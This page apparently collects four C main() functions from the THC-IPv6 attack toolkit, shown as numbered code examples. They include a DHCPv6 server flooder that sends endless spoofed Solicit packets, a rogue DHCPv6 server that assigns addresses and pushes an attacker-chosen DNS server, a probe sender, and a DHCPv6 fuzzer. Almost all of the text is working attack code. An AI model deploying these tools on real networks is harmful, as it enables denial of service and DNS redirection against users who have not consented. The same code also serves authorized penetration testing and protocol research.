Ejemplo n.º 1
0
int main(int argc, char *argv[]) {
  char mac[6] = { 0, 0x0c, 0, 0, 0, 0 }, *pkt = NULL;
  char wdatabuf[1024];
  unsigned char *mac6 = mac, *src, *dst;
  int i, s, len, pkt_len = 0, dlen = 0;
  unsigned long long int count = 0;
  pcap_t *p = NULL;
  int do_all = 1, use_real_mac = 0, use_real_link = 0;

  if (argc < 2 || strncmp(argv[1], "-h", 2) == 0)
    help(argv[0]);

  if (getenv("THC_IPV6_PPPOE") != NULL || getenv("THC_IPV6_6IN4") != NULL) printf("WARNING: %s is not working with injection!\n", argv[0]);

  while ((i = getopt(argc, argv, "d:nNr1")) >= 0) {
    switch (i) {
    case 'N':
      use_real_link = 1;        // no break
    case 'n':
      use_real_mac = 1;
      break;
    case '1':
      do_all = 0;
      break;
    case 'd':
      do_dns = 1;
      dns_name = optarg;
      break;
    case 'r':
      i = 0;
      break;                    // just to ignore -r
    default:
      fprintf(stderr, "Error: unknown option -%c\n", i);
      exit(-1);
    }
  }

  memset(mac, 0, sizeof(mac));
  interface = argv[optind];
  if (use_real_link)
    src = thc_get_own_ipv6(interface, NULL, PREFER_LINK);
  else
    src = thc_resolve6("fe80::");
  if (use_real_mac)
    mac6 = thc_get_own_mac(interface);
  if (argc - optind <= 1)
    dst = thc_resolve6("ff02::1:2");
  else
    dst = thc_resolve6(argv[optind + 1]);
  setvbuf(stdout, NULL, _IONBF, 0);
  setvbuf(stderr, NULL, _IONBF, 0);

  if (src == NULL || mac6 == NULL) {
    fprintf(stderr, "Error: invalid interface %s or bad mac/IP defined\n", interface);
    exit(-1);
  }

  // only to prevent our system to send icmp port unreachable messages
  if ((s = thc_bind_udp_port(546)) < 0)
    fprintf(stderr, "Warning: could not bind to 546/udp\n");
  if ((p = thc_pcap_init_promisc(interface, "ip6 and udp and dst port 546")) == NULL) {
    fprintf(stderr, "Error: can not open interface %s in promisc mode\n", interface);
    exit(-1);
  }
  len = sizeof(solicit);
  memcpy(wdatabuf, solicit, len);
  if (do_dns) {
    memcpy(wdatabuf + len, dnsupdate1, sizeof(dnsupdate1));
    dlen = len + 8;
    len += sizeof(dnsupdate1);
    if (dns_name != NULL && strlen(dns_name) < 240) {
      if (dns_name[0] != '.') {
        wdatabuf[len] = '.';
        wdatabuf[dlen - 5]++;
        wdatabuf[dlen - 3]++;
        len++;
      }
      memcpy(wdatabuf + len, dns_name, strlen(dns_name) + 1);
      wdatabuf[dlen - 5] += strlen(dns_name) + 1;
      wdatabuf[dlen - 3] += strlen(dns_name) + 1;
      len += strlen(dns_name) + 1;
    }
    memcpy(wdatabuf + len, dnsupdate2, sizeof(dnsupdate2));
    len += sizeof(dnsupdate2);
  }

  printf("Starting to flood dhcp6 servers locally on %s (Press Control-C to end) ...\n\n", interface);
  while (1) {
    count++;
    if (!use_real_link)
      memcpy(src + 8, (char *) &count, 8);
    // start0: 1-3 rand, 18-21 rand, 22-27 mac, 32-35 rand
    for (i = 0; i < 3; i++) {
      wdatabuf[i + 32] = rand() % 256;
      wdatabuf[i + 18] = rand() % 256;
      mac[i + 2] = rand() % 256;
      if (do_dns)
        wdatabuf[i + dlen] = 'a' + rand() % 26;
    }
    if (!use_real_mac)
      memcpy(wdatabuf + 22, mac, 6);
    memcpy(wdatabuf + 1, (char *) &count + _TAKE3, 3);

    if ((pkt = thc_create_ipv6_extended(interface, PREFER_LINK, &pkt_len, src, dst, 1, 0, 0, 0, 0)) == NULL)
      return -1;
    if (thc_add_udp(pkt, &pkt_len, 546, 547, 0, wdatabuf, len) < 0)
      return -1;
    // we have to tone it down, otherwise we will not get advertisements
    if (thc_generate_and_send_pkt(interface, mac6, NULL, pkt, &pkt_len) < 0)
      printf("!");
    pkt = thc_destroy_packet(pkt);
    if (do_all) {
      usleep(75);
      while (thc_pcap_check(p, (char *) check_packets, NULL) > 0);
    }
    if (count % 1000 == 0)
      printf(".");
  }

  return 0;                     // never reached
}
Ejemplo n.º 2
0
int main(int argc, char *argv[]) {
  char mac[6] = { 0, 0x0c, 0, 0, 0, 0 }, *pkt = NULL, *pkt2 = NULL;
  char wdatabuf[1024], wdatabuf2[1024];
  unsigned char *mac6 = mac, *src, *dst;
  int i, s, len, len2, pkt_len = 0, pkt2_len = 0;
  unsigned long long int count = 0;
  pcap_t *p = NULL;
  int do_all = 1, use_real_mac = 1, use_real_link = 1;

  if (argc < 2 || strncmp(argv[1], "-h", 2) == 0)
    help(argv[0]);

  if (getenv("THC_IPV6_PPPOE") != NULL || getenv("THC_IPV6_6IN4") != NULL) printf("WARNING: %s is not working with injection!\n", argv[0]);

  while ((i = getopt(argc, argv, "dnNr1")) >= 0) {
    switch (i) {
    case 'N':
      use_real_link = 1;        // no break
    case 'n':
      use_real_mac = 1;
      break;
    case '1':
      do_all = 0;
      break;
    case 'r':
      i = 0;
      break;                    // just to ignore -r
    default:
      fprintf(stderr, "Error: unknown option -%c\n", i);
      exit(-1);
    }
  }

  memset(mac, 0, sizeof(mac));
  interface = argv[optind];
  if (thc_get_own_ipv6(interface, NULL, PREFER_LINK) == NULL) {
    fprintf(stderr, "Error: invalid interface %s\n", interface);
    exit(-1);
  }
  dns_name = argv[optind + 1];
  if (use_real_link)
    src = thc_get_own_ipv6(interface, NULL, PREFER_LINK);
  else
    src = thc_resolve6("fe80::");
  if (use_real_mac)
    mac6 = thc_get_own_mac(interface);
  dst = thc_resolve6("ff02::1:2");
  setvbuf(stdout, NULL, _IONBF, 0);
  setvbuf(stderr, NULL, _IONBF, 0);

  // only to prevent our system to send icmp port unreachable messages
  if ((s = thc_bind_udp_port(546)) < 0)
    fprintf(stderr, "Warning: could not bind to 546/udp\n");
  if ((p = thc_pcap_init_promisc(interface, "ip6 and udp and dst port 546")) == NULL) {
    fprintf(stderr, "Error: can not open interface %s in promisc mode\n", interface);
    exit(-1);
  }
  len = sizeof(solicit);
  memcpy(wdatabuf, solicit, len);
  len2 = sizeof(inforeq);
  memcpy(wdatabuf2, inforeq, len2);

  printf("Sending DHCPv6 Solicitate message ...\n");
  printf("Sending DHCPv6 Information Request message ...\n");
  if (!use_real_link)
    memcpy(src + 8, (char *) &count, 8);
    // start0: 1-3 rand, 18-21 rand, 22-27 mac, 32-35 rand
  for (i = 0; i < 3; i++) {
    wdatabuf[i + 32] = rand() % 256;
    wdatabuf[i + 18] = rand() % 256;
    mac[i + 2] = rand() % 256;
  }
  if (!use_real_mac)
    memcpy(wdatabuf + 22, mac, 6);
  if (!use_real_mac)
    memcpy(wdatabuf2 + 18, mac, 6);
  memcpy(wdatabuf + 1, (char *) &count + _TAKE3, 3);
  memcpy(wdatabuf2 + 1, (char *) &count + _TAKE3, 3);

  if ((pkt = thc_create_ipv6_extended(interface, PREFER_LINK, &pkt_len, src, dst, 1, 0, 0, 0, 0)) == NULL)
    return -1;
  if (thc_add_udp(pkt, &pkt_len, 546, 547, 0, wdatabuf, len) < 0)
    return -1;
  if (thc_generate_and_send_pkt(interface, mac6, NULL, pkt, &pkt_len) < 0)
    printf("!");
  if ((pkt2 = thc_create_ipv6_extended(interface, PREFER_LINK, &pkt2_len, src, dst, 1, 0, 0, 0, 0)) == NULL)
    return -1;
  if (thc_add_udp(pkt2, &pkt2_len, 546, 547, 0, wdatabuf2, len2) < 0)
    return -1;
  if (thc_generate_and_send_pkt(interface, mac6, NULL, pkt2, &pkt2_len) < 0)
    printf("!");
  signal(SIGALRM, clean_exit);
  alarm(3);
//  i = thc_send_pkt(interface, pkt, &pkt_len);
  pkt = thc_destroy_packet(pkt);
  while (1) {
    usleep(75);
    while (thc_pcap_check(p, (char *) check_packets, NULL) > 0);
  }

  return 0;                     // never reached
}
Ejemplo n.º 3
0
int main(int argc, char *argv[]) {
  char *routerip, *interface, mac[16] = "";
  char rdatabuf[1024], wdatabuf[1024], cmsgbuf[1024], mybuf[1024];
  unsigned char *routerip6, *mac6 = mac, *ip6, *ptr, *ptr1, *ptr2, *ptr3;
  unsigned char *dns;
  int size, fromlen = 0, /*mtu = 1500, */ i, j, k, l, m, s, len, t, mlen, csize = 0;
  static struct iovec iov;
  struct sockaddr_storage from;
  struct msghdr mhdr;
  struct sockaddr_in6 ddst;
  unsigned long long int count = 0;

  if (argc < 3 || strncmp(argv[1], "-h", 2) == 0)
    help(argv[0]);

  if (getenv("THC_IPV6_PPPOE") != NULL || getenv("THC_IPV6_6IN4") != NULL) printf("WARNING: %s is not working with injection!\n", argv[0]);

  if (strcmp(argv[1], "-r") == 0) {     // is ignored
    argv++;
    argc--;
  }

  memset(mac, 0, sizeof(mac));
  interface = argv[1];
  if (thc_get_own_mac(interface) == NULL) {
    fprintf(stderr, "Error: invalid interface %s\n", interface);
    exit(-1);
  }
  if (argc >= 6 && (ptr = argv[5]) != NULL)
    sscanf(ptr, "%x:%x:%x:%x:%x:%x", (unsigned int *) &mac[0], (unsigned int *) &mac[1], (unsigned int *) &mac[2], (unsigned int *) &mac[3], (unsigned int *) &mac[4],
           (unsigned int *) &mac[5]);
  else
    mac6 = thc_get_own_mac(interface);

  if (argc >= 5 && argv[4] != NULL)
    ip6 = thc_resolve6(argv[4]);
  else
    ip6 = thc_get_own_ipv6(interface, NULL, PREFER_LINK);

  if (argc >= 4 && argv[3] != NULL)
    dns = thc_resolve6(argv[3]);
  else
    dns = thc_resolve6("ff02::fb");

  routerip = argv[2];
  if ((ptr = index(routerip, '/')) == NULL) {
    printf("Error: Option must be supplied as IP-ADDRESS/PREFIXLENGTH, e.g. ff80::01/16\n");
    exit(-1);
  }
  *ptr++ = 0;
  size = atoi(ptr);

  routerip6 = thc_resolve6(routerip);

  if (routerip6 == NULL || size < 1 || size > 128) {
    fprintf(stderr, "Error: IP-ADDRESS/PREFIXLENGTH argument is invalid: %s\n", argv[2]);
    exit(-1);
  }
  if (size < 64) {
    fprintf(stderr, "Warning: network prefix must be a minimum of /64, resizing to /64\n");
    size = 64;
  }
  if (size % 8 > 0) {
    size = ((size / 8) + 1) * 8;
    fprintf(stderr, "Warning: prefix must be a multiple of 8, resizing to /%d\n", csize * 8);
  }
  csize = 8 - ((size - 64) / 8);
  if (dns == NULL) {
    fprintf(stderr, "Error: dns argument is invalid: %s\n", argv[3]);
    exit(-1);
  }
  if (ip6 == NULL) {
    fprintf(stderr, "Error: link-local-ip6 argument is invalid: %s\n", argv[4]);
    exit(-1);
  }

/*
  if (mtu < 1 || mtu > 65536) {
    fprintf(stderr, "Error: mtu argument is invalid: %s\n", argv[5]);
    exit(-1);
  }
  if (mtu < 1228 || mtu > 1500)
    fprintf(stderr, "Warning: unusual mtu size defined, be sure what you are doing :%d\n", mtu);
*/
  if (mac6 == NULL) {
    fprintf(stderr, "Error: mac address in invalid\n");
    exit(-1);
  }

  if ((s = thc_bind_udp_port(547)) < 0) {
    fprintf(stderr, "Error: could not bind to 547/udp\n");
    exit(-1);
  }
  if (thc_bind_multicast_to_socket(s, interface, thc_resolve6("ff02::1:2")) < 0 || thc_bind_multicast_to_socket(s, interface, thc_resolve6("ff02::1:3")) < 0) {
    fprintf(stderr, "Error: could not bind multicast address\n");
    exit(-1);
  }
  if ((t = socket(AF_INET6, SOCK_DGRAM, 0)) < 0) {
    perror("Error:");
    exit(-1);
  }

  memset(mybuf, 0, sizeof(mybuf));
  mybuf[1] = 2;
  mybuf[3] = 14;
  mybuf[5] = 1;
  mybuf[7] = 1;
  // mybuf + 8 == time
  memcpy(mybuf + 12, mac6, 6);
  mlen = 18;
  mybuf[mlen + 1] = 23;
  mybuf[mlen + 3] = 16;
  memcpy(mybuf + mlen + 4, dns, 16);
  mlen += 20;

  printf("Starting to fake dhcp6 server on %s for %s (Press Control-C to end) ...\n\n", interface, argv[2]);
  while (1) {
    memset((char *) &from, 0, sizeof(from));
    memset(&iov, 0, sizeof(iov));
    memset(&mhdr, 0, sizeof(mhdr));
    iov.iov_base = rdatabuf;
    iov.iov_len = sizeof(rdatabuf);
    mhdr.msg_name = &from;
    mhdr.msg_namelen = sizeof(from);
    mhdr.msg_iov = &iov;
    mhdr.msg_iovlen = 1;
    mhdr.msg_control = (caddr_t) cmsgbuf;
    mhdr.msg_controllen = sizeof(cmsgbuf);
    if ((len = recvmsg(s, &mhdr, 0)) > 0) {
      fromlen = mhdr.msg_namelen;
      if (debug)
        thc_dump_data(rdatabuf, len, "Received Packet");
      ddst.sin6_addr = ((struct sockaddr_in6 *) mhdr.msg_name)->sin6_addr;
      ptr2 = thc_ipv62notation((char *) &ddst.sin6_addr);
      switch (rdatabuf[0]) {
      case 1:
        ptr1 = "Solicitate";
        break;
      case 2:
        ptr1 = "Advertise (illegal, ignored)";
        break;
      case 3:
        ptr1 = "Request";
        break;
      case 4:
        ptr1 = "Confirm";
        break;
      case 5:
        ptr1 = "Renew";
        break;
      case 6:
        ptr1 = "Rebind";
        break;
      case 7:
        ptr1 = "Reply (illegal, ignored)";
        break;
      case 8:
        ptr1 = "Release (ignored)";
        break;
      case 9:
        ptr1 = "Decline (ignored)";
        break;
      case 10:
        ptr1 = "Reconfigure (illegal, ignored)";
        break;
      case 11:
        ptr1 = "Information Request (ignored)";
        break;
      case 12:
        ptr1 = "Relay Forward (ignored)";
        break;
      case 13:
        ptr1 = "Relay Reply (ignored)";
        break;
      default:
        ptr1 = "Unknown (ignored)";
        break;
      }
      printf("Received DHCP6 %s packet from %s\n", ptr1, ptr2);
      free(ptr2);
      if (rdatabuf[0] >= 1 && rdatabuf[0] < 7 && rdatabuf[0] != 2) {
        memset(wdatabuf, 0, sizeof(wdatabuf));
        memcpy(wdatabuf + 1, rdatabuf + 1, 3);
        i = j = 4;
        k = -1;
        if (rdatabuf[0] == 1) { // initial request
          wdatabuf[0] = 2;
          while ((j + 4) < len) {
            l = rdatabuf[j + 2] * 256 + rdatabuf[j + 3];
            if (l + j + 4 > len) {
              l = 0;
              j = len;
              printf("Info: received evil packet\n");
            } else {
              if (rdatabuf[j + 1] == 1) {
                memcpy(wdatabuf + i, rdatabuf + j, l + 4);
                i += l + 4;
              } else if (rdatabuf[j + 1] == 3) {
                k = j;          // just set a pointer
              }
              j += l + 4;
            }
          }
          // add 02, 23
          j = time(NULL);
          memcpy(mybuf + 8, (char *) &j + _TAKE4, 4);
          memcpy(wdatabuf + i, mybuf, mlen);
          i += mlen;
          // now expand 3
          if (k > -1 && rdatabuf[k + 3] == 12 && rdatabuf[k + 2] == 0) {        // copy structure
            memcpy(wdatabuf + i, rdatabuf + k, 16);
          } else {              // or create new
            wdatabuf[i + 1] = 3;
            memcpy(wdatabuf + i + 4, (char *) &j + _TAKE4, 4);   // copy time as IAID
          }
          wdatabuf[i + 3] = 40;
          memset(wdatabuf + i + 8, 0, 8);
          wdatabuf[i + 10] = 0x7f;
          wdatabuf[i + 14] = 0xfe;
          i += 16;
          wdatabuf[i + 1] = 5;
          wdatabuf[i + 3] = 24;
          memcpy(wdatabuf + i + 4, routerip6, 16);      // address
          count++;
          if (csize > 0)
            memcpy(wdatabuf + i + 4 + 16 - csize, (char *) &count, csize);      // counter
          ptr3 = thc_ipv62notation(wdatabuf + i + 4);
          wdatabuf[i + 21] = 2;
          wdatabuf[i + 25] = 2;
          i += 28;
        } else {
          wdatabuf[0] = 7;
          m = 0;
          while ((j + 4) < len) {
            l = rdatabuf[j + 2] * 256 + rdatabuf[j + 3];
            if (l + j + 4 > len) {
              l = 0;
              j = len;
              printf("Info: received evil packet\n");
            } else {            // just copy types 1-3 and 23
              if ((rdatabuf[j + 1] >= 1 && rdatabuf[j + 1] <= 3) || rdatabuf[j + 1] == 23) {
                memcpy(wdatabuf + i, rdatabuf + j, l + 4);
                i += l + 4;
                if (rdatabuf[j + 1] == 23)
                  k = 1;
                if (rdatabuf[j + 1] == 3)
                  m = 1;
              }
              j += l + 4;
            }
          }
          if (k == -1) {
            memcpy(wdatabuf + i, mybuf + 18, 20);
            i += 20;
          }
        }
        len = i;
        if (debug)
          thc_dump_data(wdatabuf, len, "Reply Packet");
        ddst.sin6_family = AF_INET6;
        ddst.sin6_port = htons(546);
        //ddst.sin6_addr = ((struct sockaddr_in6 *)mhdr.msg_name)->sin6_addr;
        ddst.sin6_scope_id = ((struct sockaddr_in6 *) mhdr.msg_name)->sin6_scope_id;
        if (sendto(t, wdatabuf, len, 0, (struct sockaddr *) &ddst, sizeof(ddst)) < 0)
          perror("Error:");
        else {
          ptr2 = thc_ipv62notation((char *) &ddst.sin6_addr);
          if (wdatabuf[0] == 2) {
            printf("Sent DHCP6 Advertise packet to %s (offer: %s)\n", ptr2, ptr3);
            free(ptr3);
          } else if (m)
            printf("Sent DHCP6 Reply packet to %s (address accepted)\n", ptr2);
          else
            printf("Sent DHCP6 Reply packet to %s (did not set address)\n", ptr2);
          free(ptr2);
        }
      }
    }
  }

/*  packet structure:
      1 byte  = type
      3 bytes = sessionid
      while(packet data) {
        2 bytes = type
        2 bytes = length in bytes of following data
        ... defined fixed length data ...
      }

    server listen on ff02::1:2 udp 547
    client connects from linklocal port 546, ttl 1
        01 = solicit
        3 bytes = sessionid
        6 bytes = blog (elapsed, 8)
        8 bytes = 01 blob (client id + time + mac)
        4 bytes = time
        6 bytes = mac
        16 bytes = 03 blob (want perm address)
        5 + length + hostname = hostname
        18 bytes = blob (vendor class, type 16)
        12 bytes = blob (requested options, type 6)
    server sends to linklocal (respect client port), ttl 1
        02 = advertise
        3 bytes = sessionid (copy)
        18 bytes = 01 blob (client copy of client-id)
        8 bytes = 02 blob (server id + time + mac)
        4 bytes = time
        6 bytes = mac
        0003 = give perm address
        2 bytes = length
        4 bytes = IAID (from client request!)
        4 bytes = validity time 1 (1800)
        4 bytes = validity time 2 (2880)
          0005 = address structure
          2 bytes = length (24 bytes)
          16 bytes = address
          4 bytes = validity time (3600)
          4 byte = validity time (same)
        0023 = dns option
        2 bytes = length (16 bytes)
        16 bytes = dns server address
    client sends to ff02::1:2 !
        03 = request
        3 bytes = sessionid
        6 bytes = blog (elapsed, 8)
        8 bytes = 01 blob (client id + time + mac)
        4 bytes = time
        6 bytes = mac
        18 bytes = client (again)
        18 bytes = server (copy)
        44 bytes = address (copy)
        5 + length + hostname = hostname (again)
        18 bytes = blob again (vendor class, type 16)
        12 bytes = blob again (requested options, type 6)
    server replies
        7 = reply
        copy original advertise packet :-)
  */

  return 0;                     // never reached
}
Ejemplo n.º 4
0
int main(int argc, char *argv[]) {
  char mac[6] = { 0, 0x0c, 0, 0, 0, 0 }, *pkt = NULL;
  // defines mac as 6 pieces and defines pkt as null.
  char wdatabuf[1024];
  //builds data buffer and sets memory size at 1024mb
  unsigned char *mac6 = mac, *src, *dst;
  //creates mac6 address usuing
  int i, s, len, pkt_len = 0, dlen = 0;
  int do_all = 1, use_real_mac = 1, use_real_link = 1;
  int state;

  if (argc < 2 || strncmp(argv[1], "-h", 2) == 0)
    help(argv[0]);

  if (getenv("THC_IPV6_PPPOE") != NULL || getenv("THC_IPV6_6IN4") != NULL) printf("WARNING: %s is not working with injection!\n", argv[0]);

  //Parse options
  while ((i = getopt(argc, argv, "123456789mn:t:e:T:dFp:fr")) >= 0) {
    switch (i) {
    case '1':
      do_type = DO_SOL;
      break;
    case '2':
      do_type = DO_REQ;
      break;
    case '3':
      do_type = DO_CON;
      break;
    case '4':
      do_type = DO_REN;
      break;
    case '5':
      do_type = DO_REB;
      break;
    case '6':
      do_type = DO_REL;
      break;
    case '7':
      do_type = DO_DEC;
      break;
    case '8':
      do_type = DO_INF;
      break;
    case 'm':
      fuzz_msg_type = 1;
      break;
    case 'n':
      no_send = atoi(optarg);
      break;
    case 't':
      test_start = atoi(optarg);
      break;
    case 'e':
      test_end = atoi(optarg);
      break;
    case 'T':
      test_end = test_start = atoi(optarg);
      break;
    case 'F':
      use_real_link = 0;        // no break
    case 'f':
      use_real_mac = 0;
      break;
    case 'p':
      ping = atoi(optarg);
      break;
    case 'd':
      do_dns = 1;
      break;
    case 'r':
      i = 0;
      break;                    // just to ignore -r
    default:
      fprintf(stderr, "Error: unknown option -%c\n", i);
      exit(-1);
    }
  }

  //Check options
  if (no_send < 1) {
    fprintf(stderr, "ERROR: -n number must be between one and 2 billion\n");
    exit(-1);
  }

  if (test_end < test_start) {
    printf("don't f**k up the command line options!\n");
    exit(-1);
  }

  memset(mac, 0, sizeof(mac));
  interface = argv[optind];
  dns_name = argv[optind + 1];
  if (use_real_link)
    src = thc_get_own_ipv6(interface, NULL, PREFER_LINK);
  else
    src = thc_resolve6("fe80::");
  if (use_real_mac) {
    mac6 = thc_get_own_mac(interface);
    memcpy(mac, mac6, sizeof(mac));
  }
  dst = thc_resolve6("ff02::1:2");
  setvbuf(stdout, NULL, _IONBF, 0);
  setvbuf(stderr, NULL, _IONBF, 0);

  // only to prevent our system to send icmp port unreachable messages
  if ((s = thc_bind_udp_port(546)) < 0)
    fprintf(stderr, "Warning: could not bind to 546/udp\n");
  if ((p = thc_pcap_init_promisc(interface, "ip6 and udp and dst port 546")) == NULL) {
    fprintf(stderr, "Error: can not open interface %s in promisc mode\n", interface);
    exit(-1);
  }

  //Establish state
  if (do_type == DO_SOL || do_type == DO_REB)
    state = STATELESS;
  else
    state = STATEFULL;

  // generate full fuzz mask for stateless types and partial for statefull types
  strcpy(fuzzbuf, fuzztype_ether);
  strcat(fuzzbuf, fuzztype_ip6);
  strcat(fuzzbuf, fuzztype_udp);
  if (fuzz_msg_type)
    strcat(fuzzbuf, fuzztype_dhcp6);
  else
    strcat(fuzzbuf, fuzztype_dhcp6no);
  if (state == STATELESS) {
    strcat(fuzzbuf, fuzztype_elapsed_time);
    strcat(fuzzbuf, fuzztype_client_identifier);
    strcat(fuzzbuf, fuzztype_IA_NA);
    if (do_dns)
      strcat(fuzzbuf, fuzztype_FQDN);
  }

  /** Generate packet **/
  len = sizeof(solicit);
  memcpy(wdatabuf, solicit, len);

  //Add dns option
  if (do_dns) {
    memcpy(wdatabuf + len, dnsupdate1, sizeof(dnsupdate1));
    memcpy(dns_option_hdr + dns_option_hdr_len, dnsupdate1, sizeof(dnsupdate1));
    dlen = len + 8;
    len += sizeof(dnsupdate1);
    dns_option_hdr_len += sizeof(dnsupdate1);

    //Append domain string prefix fuzz mask
    if (state == STATELESS) { //<-- Do fuzzbuffer later
      for (i = 0; i < 7; ++i) //7 == Length of hard coded domain prefix
        strcat(fuzzbuf, "B");
    }

    if (dns_name != NULL && strlen(dns_name) < 240) {
      if (dns_name[0] != '.') {
        wdatabuf[len] = '.';
        wdatabuf[dlen - 5]++;
        wdatabuf[dlen - 3]++;
        len++;
      }
      memcpy(wdatabuf + len, dns_name, strlen(dns_name) + 1);
      memcpy(dns_option_hdr + dns_option_hdr_len, dns_name, strlen(dns_name) + 1);
      wdatabuf[dlen - 5] += strlen(dns_name) + 1;
      wdatabuf[dlen - 3] += strlen(dns_name) + 1;
      len += strlen(dns_name) + 1;
      dns_option_hdr_len += strlen(dns_name) + 1;

      //Append variable length domain string suffix fuzz mask
      if (state == STATELESS) {
        for (i = 0; i < strlen(dns_name) + 1; ++i)
          strcat(fuzzbuf, "B");
      }
    }
    memcpy(wdatabuf + len, dnsupdate2, sizeof(dnsupdate2));
    memcpy(dns_option_hdr + dns_option_hdr_len, dnsupdate2, sizeof(dnsupdate2));
    len += sizeof(dnsupdate2);
    dns_option_hdr_len += sizeof(dnsupdate2);

    //Append option request (FQDN request) fuzz mask
    if (state == STATELESS){
      strcat(fuzzbuf, fuzztype_option_request);
    }
  }

  //Set message type
  if (state == STATELESS) {
    switch (do_type) {
    case DO_SOL:
      wdatabuf[0] = 0x01;
      break;
    case DO_REB:
      wdatabuf[0] = 0x06;
      break;
    default:
      break;
    }
  }
  
  //random src mac
  if (!use_real_link)
    for (i = 0; i < 8; i++)
      src[i + 8] = rand() % 256;

  // start0: 1-3 rand, 18-21 rand, 22-27 mac, 32-35 rand
  for (i = 0; i < 3; i++) {
    wdatabuf[i + 1] = rand() % 256;
    wdatabuf[i + 18] = rand() % 256;
    wdatabuf[i + 32] = rand() % 256;
    if (!use_real_mac) {
      mac[i * 2] = rand() % 256;
      mac[i * 2 + 1] = rand() % 256;
    }
    if (do_dns)
      wdatabuf[i + dlen] = 'a' + rand() % 26;
  }
  memcpy(wdatabuf + 22, mac, 6);

  if ((pkt = thc_create_ipv6_extended(interface, PREFER_LINK, &pkt_len, src, dst, 1, 0, 0, 0, 0)) == NULL)
    return -1;
  if (thc_add_udp(pkt, &pkt_len, 546, 547, 0, wdatabuf, len) < 0)
    return -1;

  if (thc_generate_pkt(interface, mac6, NULL, pkt, &pkt_len) < 0)
    return -1;

  //Fuzz solicit packet
  if (state == STATELESS) {
    if (fuzz_loop(pkt, &pkt_len) < 0)
      return -1;
  }

  //Fuzz request, confirm or renew paket
  else if (state == STATEFULL) {
    //Send a dhcp solicit to discover dhcpv6 servers
    if (thc_send_pkt(interface, pkt, &pkt_len) < 0) {
      fprintf(stderr, "Error: Failed to send initial solicit packet\n");
      return -1;
    }

    usleep(75); //<-- I don't really know why this is neccessary but it seems to be

    //Construct and fuzz packets using server identifier
    got_packet = 0;
    time_t start_time = time(NULL);
    while(time(NULL) - start_time < timeout) {
      while (thc_pcap_check(p, (char *) construct_from_adv_and_fuzz, NULL) > 0); //got_packet set in callback function
      if (got_packet)
        break;
    }
    if (!got_packet)
       fprintf(stderr, "Timeout: Didn't receive solicited advertisement packet within timeout. Is server down?\n");
  }

  pkt = thc_destroy_packet(pkt);

  // printf("fuzzbuf: %s\n", fuzzbuf);


  return 0;
}